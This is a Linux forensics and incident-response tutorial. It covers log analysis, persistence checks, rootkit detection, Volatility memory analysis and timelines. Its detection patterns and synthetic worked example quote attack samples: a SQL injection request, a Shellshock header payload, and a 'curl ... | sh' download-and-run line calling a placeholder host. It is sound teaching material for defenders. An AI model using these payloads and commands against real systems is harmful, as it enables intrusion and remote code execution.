losetup -a                       # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0        # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data

Notes on the options:

  • ro and noexec: even though the layers below are already read-only, use both anyway (it's a good habit to build), and noexec stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
  • noload: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check dmesg | tail). noload tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses norecovery instead, and often also needs nouuid if your workstation has a file system with the same ID.
  • A partition that is not part of LVM (often /boot) needs no LVM step: mount it straight from the image with mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot (add noload if it complains about the journal).

Take the layers down in reverse order when you are done:

sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img             # the ewfmount

Traps when reading a mounted image:

  • Owner names shown by ls -l come from your workstation's /etc/passwd, not the image's, so UID 1001 might display as the wrong person. Use ls -ln (numbers) or look up the IDs in the image's own /mnt/data/etc/passwd.
  • Absolute symbolic links inside the image point at your own system's files, not the image's. Check with readlink instead of simply blindly trusting what a link shows you.
  • Most tools can read a copy of a log directly: last -aiF -f /mnt/data/var/log/wtmp, or journalctl -D /mnt/data/var/log/journal (if the system kept a persistent journal).

Step 2: Find the way in

Remote login (SSH)

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7

Example output (addresses here are from the reserved documentation ranges, not real hosts):

Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2

The pattern to worry about is many failures, then a success, from the same address, especially for an account that should never log in from that place. Confirm with the login records:

last -aiF | head -20               # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20         # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted"   # the unit is "sshd" on RHEL-family systems

Be aware that these records are easy to lose: wtmp is often rotated (truncated) weekly or monthly, btmp may not be kept at all because failed logins can contain mistyped passwords, and lastlog's format varies between systems.

Success by public key leaves a different line (Accepted publickey for ...). If you see one for a key you do not recognize, go straight to persistence and check authorized_keys.

Web applications

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"

Start with an overview, and then zoom in on one address:

LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head     # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr            # status code counts
grep '^198.51.100.9 ' $LOG                                   # everything one client did

Attackers usually send their payload URL-encoded (%27 is ', %20 is a space). Decode the lines you are reading:

grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'

(A plain + in a query string can also mean a space; unquote leaves it alone so timestamps such as +0000 stay readable.)

What common web attacks look like in the log

Attack What to look for in the request Notes
SQL injection ' or %27, UNION SELECT, OR 1=1, --, or an automated-tool User-Agent such as sqlmap A burst of 500 errors from one client while it probes is typical. A later run of 200 responses with unusually large sizes can mean data came back.
Cross-site scripting (XSS) <script> or %3Cscript, onerror=, javascript: Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
Path traversal / file inclusion ../, ..%2f, %2e%2e, or a path like /etc/passwd in a parameter A 200 with a plausible response size means the file may have been returned.
Command injection Shell metacharacters (;, %3B, backticks, $() followed by commands like wget, curl or /bin/sh Confirm with the process tree: did the web server user spawn anything?
Shellshock (CVE-2014-6271) () { at the start of a header value, usually User-Agent, against a /cgi-bin/ script Old and long patched, but a good example: the attack rides in a header, not the URL.
Web shell upload A POST to an upload form, then GET requests to a brand-new .php file in the upload directory Look for files the application should not have created.
Scanning and reconnaissance Many 404s, requests for /.env, /wp-login.php, /phpmyadmin, or scanner User-Agents Common and usually harmless on its own; it tells you who was looking, not who got in.
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG            # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG               # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG                   # path traversal
grep -E '\(\) *\{' $LOG                                   # Shellshock-style header

Important limits of access logs. The server does not log POST bodies or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare POST /login line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a 200 status only means the request was served, not that the attack worked, and a 500 does not mean it failed.

From a request to a compromise

A logged attack request proves that someone tried to attack. To decide whether it worked, follow it into the rest of the system:

  • Did a process appear in the tree, owned by the web server user (www-data, apache, nginx), just after the request timestamp?
  • Is that process holding a network connection to an address that is not one of your users or dependencies?
  • Are there new or modified files in the web root, /tmp, /var/tmp or /dev/shm from about the same time?
  • Did the same client address go on to do anything else (a second request type, a login)?
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php

Step 3: What did they do?

Privilege escalation and account activity

sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened"   # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log                     # account changes
awk -F: '$3==0 {print $1}' /etc/passwd            # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow      # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd           # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/

A second UID-0 account, or a regular user suddenly present in sudoers, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as www-data or mysql) still have a non-login shell and no usable password hash in /etc/shadow, and that nobody has been quietly added to a privileged group in /etc/group.

Command history

sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history'   # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'

What to keep in mind about .bash_history:

  • Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the bash plugin in the Volatility section).
  • It has no timestamps by default (unless HISTTIMEFORMAT was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a useradd in the history can be tied to the log entry for the new account and the modification time of /etc/passwd.
  • It is a plain text file. Attackers can edit or delete it, clear it (history -c), unset HISTFILE, or link it to /dev/null. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
  • An empty or missing history on an account that is otherwise active is itself worth noting.

Other traces users leave behind

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

File (in the user's home directory) What it can show
.ssh/authorized_keys Keys that can log in to this account. Any key you do not recognize is a possible back door.
.ssh/known_hosts Machines this user connected out to over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
.ssh/config Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
.lesshst Search terms typed into the less pager, and commands run from inside it.
.viminfo Files recently edited in vim (with the position in each), plus its search and command history.
.local/share/recently-used.xbel Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
.local/share/Trash/ Files deleted through the desktop; the info/ folder records where each came from.
Browser profiles (Firefox, Chromium) Browsing, downloads and saved sessions on desktop systems.

The audit framework

If auditd is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i         # events that matched the rule, human-readable
sudo aureport -au                    # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd

If keystroke (TTY) auditing was enabled, aureport --tty can show what was typed. Auditing has to be set up before the incident; it cannot reconstruct events that were never recorded.

Step 4: Persistence

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

# scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null   # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null

Older systems use init scripts under /etc/init* instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a script that a legitimate task already runs. Look at what your scheduled tasks and services actually execute, not only at their configuration.

Back doors beyond start-up entries: a web shell in the web root; a replacement sshd with a built-in password; an extra UID 0 account; a service account given a password; an added authorized_keys line; a broadened sudoers entry; and the set-UID trick below.

Set-UID/set-GID programs. A program with the set-UID bit runs with its owner's privileges rather than the user's (this is how passwd can update /etc/shadow). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with -p, so it does not drop its privileges) is root again.

# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null

Compare the full list against a clean machine of the same OS, the same baseline-and-diff technique used on Intermediate Service Auditing. Also revisit where attackers stage files: names that imitate system files but sit in the wrong place, executables in /tmp, /var/tmp or /dev/shm, and dot-prefixed directories under /usr, /var or /dev are all worth a closer look.

A post-exploitation checklist

Check How
New or unexpected SSH keys Read every authorized_keys. If you find one, search your other machines for the same key.
Unexpected group members Compare /etc/group against what you expect, especially groups named in sudoers.
Unlocked service accounts Service accounts should have nologin (or false) as their shell and no valid password hash in /etc/shadow.
Extra UID 0 accounts awk -F: '$3==0' /etc/passwd
Edited sudo rules Read /etc/sudoers and /etc/sudoers.d/ directly.
Unauthorized set-UID bits The find commands above.

Step 5: Rootkits and tampering

A rootkit is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

  • User-space (library preload) rootkits install a malicious shared library and make every program load it (through /etc/ld.so.preload or the LD_PRELOAD variable), so that ls, ps, ss and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
  • Kernel-module (LKM) rootkits load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under /usr/src) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

Signs something is being hidden

  • Basic tools misbehave, disagree with each other, or stop working (ls or ps failing on an otherwise healthy system).
  • A listening port shows in a port scan from another machine but not in ss on the host.
  • Disk usage that does not add up, or CPU usage with no process to explain it.
  • Logs with unexplained gaps, zero-length files (/var/log/wtmp, btmp) or timestamps that jump backwards.
  • A "tainted" kernel: cat /proc/sys/kernel/tainted is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

Detection tools

sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit

rkhunter and chkrootkit compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in /var/log/rkhunter.log). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

  • They are signature-based: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). chkrootkit in particular sees little development, and many investigators no longer rely on it.
  • They run on the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see Volatility).
  • rkhunter is much more useful if you run sudo rkhunter --propupd on a known-clean system first, so later runs can detect changed files.

Verify installed files against the package manager

sudo apt install debsums && sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va                                      # RHEL family: verify all packages

A modified /bin/ls, /usr/bin/ps or sshd that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

Cross-checking tools against each other

Because a rootkit typically fools some tools but not others, disagreement is informative:

echo /usr/src/.*                  # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc                             # look for processes hidden from ps
lsmod                                                                     # compare to a known-good machine's module list

A statically linked tool (such as busybox, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

Log tampering

ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify                # consistency check of the journal files

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with rsyslog) so that deleting local lines does not delete the record.

Going deeper: memory analysis with Volatility 3

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

Volatility 3 is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

The symbols problem

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built with debugging symbols: a "debug" kernel package for the exact version (named with -dbg or -dbgsym depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the symbol tables documentation), so check it before building your own.

# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (vol, vol.py or vol3.py) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with -s ..

The plugins you will use most

Plugin names and output change between versions. List the current ones with vol --help | grep linux.. A good first test is linux.pslist.PsList: it is fast, and if it produces sensible output your image and symbols are working.

Plugin What it answers
linux.pslist.PsList What processes exist (PID, parent PID, name)?
linux.psaux.PsAux The same, with each process's full command line.
linux.pstree.PsTree The parent/child tree, useful for "how was this started?"
linux.lsof.Lsof Which files does a process have open (add --pid to pick one)? Reveals executables and data in strange places.
linux.elfs.Elfs and linux.proc.Maps Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
linux.sockstat.Sockstat Network connections and listeners (filter with grep AF_INET to skip the noisy local sockets).
linux.bash.Bash Command history recovered from running shells, with timestamps.
linux.lsmod.Lsmod Loaded kernel modules (the ones that are not hidden).

The bash plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

Hunting for rootkits in memory

vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering
  • Check_modules compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing Lsmod output with a known-good machine.
  • Check_syscall shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under /proc, hide processes too) and for sending signals.
  • Other plugins (for example Check_afinfo, Check_idt, Keyboard_notifiers, Tty_check) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the YaraScan plugin, or YARA directly), look at the bash history for the commands used to install the rootkit, and search the image with strings.

No symbol file? Quick triage instead

Even without Volatility working, a memory image can be mined. strings pulls out readable text, and bulk_extractor finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

strings -a memory.lime | gzip > memory.strings.gz    # keep for context searches
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist

head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (zgrep -F -C3 suspicious.example memory.strings.gz) for context.

Step 6: Building a timeline

Investigations get clear once events are in one ordered list. A timeline combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

Quick version

# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
     -printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc                      # a directory sorted by modification time, oldest first

The full method (The Sleuth Kit)

For a real investigation, use The Sleuth Kit. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz     # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as 2026-09-01..2026-09-15 to limit it further. Then start from pivot points: places in the timeline you already have reason to look.

  • The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
  • Modification times on /etc/passwd and /etc/shadow if accounts were added.
  • An alert, a log entry or a suspicious login.
  • Files created just before a persistence mechanism (a cron entry, a service unit) was added.

Understanding Linux timestamps

Files have four time values:

Name Meaning Notes
mtime (modified) When the contents last changed Easy for an attacker with root to set to any value with touch -d.
atime (accessed) When the contents were last read or run Linux usually mounts with relatime, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
ctime (changed) When the file's metadata last changed (permissions, owner, name, contents) Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as debugfs).
btime (birth/creation) When the file was created Recorded by ext4 and shown by stat ("Birth"); not available on every file system or tool.

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits /etc/shadow and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as a guide to evidence, not evidence itself. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

  • Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
  • The SSH host keys under /etc/ssh are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
  • Check the system's own clock and time zone against its logs before you compare times across sources.

A note on deleted files

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see reading the process list above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

Worked example

This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.

Report: the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

1. Volatile state. The process tree shows a shell started by the web server, and a process nobody can identify:

www-data  4108  apache2 -k start
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data  4188  /var/tmp/.cache/update
$ sudo ss -tnp state established
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process
0      0       10.0.0.5:48822        203.0.113.50:4444   users:(("update",pid=4188,fd=3))

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under /var/tmp, and an outbound connection owned by that program.

2. Way in. The access log around the time process 4121 started (14:02 UTC) holds:

198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"

A () { in the User-Agent, sent to a CGI script, is a Shellshock attempt. The 200 and the timing (the shell appears seconds later) suggest it worked. The client address, 198.51.100.7, is the same one that was guessing SSH passwords minutes earlier in auth.log, so the attacker was probing more than one way in.

3. Persistence. The cron directory for the web user contains a job that restarts the unknown program every minute:

$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of /proc/4188/exe and hashes it.

4. Timeline.

Time (UTC) Event Source
13:58 to 13:59 Repeated SSH failures from 198.51.100.7, then a successful login as deploy auth.log
14:02 Shellshock-style request against /cgi-bin/status.sh access.log
14:02 apache2 spawns a shell that downloads and runs a script process tree
14:03 /var/tmp/.cache/update created; cron entry added file times, crontab
14:03 onward Outbound connection to 203.0.113.50:4444 ss

5. Conclusions and open questions. The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the deploy SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

After the analysis

  • Contain: isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
  • Eradicate and recover: if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
  • Reset credentials and keys that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
  • Close the way in: patch the vulnerable software, disable unneeded services (see Introduction to Service Auditing), and tighten SSH (key-only login, no root login, rate limiting).
  • Write it up: the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

Quick reference: symptom to first check

Symptom First place to look
Unexpected logins last -aiF, auth.log (or secure), journalctl -u ssh
Web server slow or making outbound connections Process tree (ps --forest), ss -tnp, web access and error logs
A process you cannot identify /proc/PID/exe and cwd; is the executable deleted, under /tmp, /var/tmp or /dev/shm, or in a hidden directory?
A user or service you do not recognize /etc/passwd (UID 0 and login shells), /etc/shadow, sudoers
A program that keeps coming back crontabs, systemctl list-timers, enabled unit files, shell start-up files, scripts those run
Someone can log in without a password authorized_keys files, sshd_config
Commands behave strangely or disagree debsums or rpm -Va, /etc/ld.so.preload, a memory image with Volatility, a trusted boot disk, rkhunter as a secondary check
Logs look too clean File sizes and mtimes in /var/log, remote log server, journalctl --verify
"What happened, and in what order?" A timeline: find -printf for a quick look, TSK fls plus mactime for a full one
Machine is off, or you have only a disk Mount the image read-only (ro,noexec,noload) and work through steps 2 to 6 on the mount

Practicing safely

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the defender side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the LinuxForensics repository on GitHub. Check that repository's own terms before copying or redistributing anything from it.

Credits and license

Parts of this page are adapted from Linux Forensics (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the Creative Commons Attribution-ShareAlike 4.0 International License. The original course slides are available from the Internet Archive.

Sources and further reading

  • Hal Pomeranz, Linux Forensics. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
  • MITRE ATT&CK: Linux matrix. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
  • NIST SP 800-61 Rev. 3. Incident response recommendations from the U.S. National Institute of Standards and Technology.
  • OWASP Top 10. The most common web application risks, including injection.
  • CVE-2014-6271 (Shellshock) in the National Vulnerability Database.
  • Tools: UAC (live collection), AVML and LiME (memory capture), Volatility 3 (memory analysis), The Sleuth Kit (disk and timeline analysis), libewf (E01 images), bulk_extractor (data carving).
  • Linux man pages. Reference for ss, find, stat, journalctl, last, ausearch, mount, losetup and the other commands used above.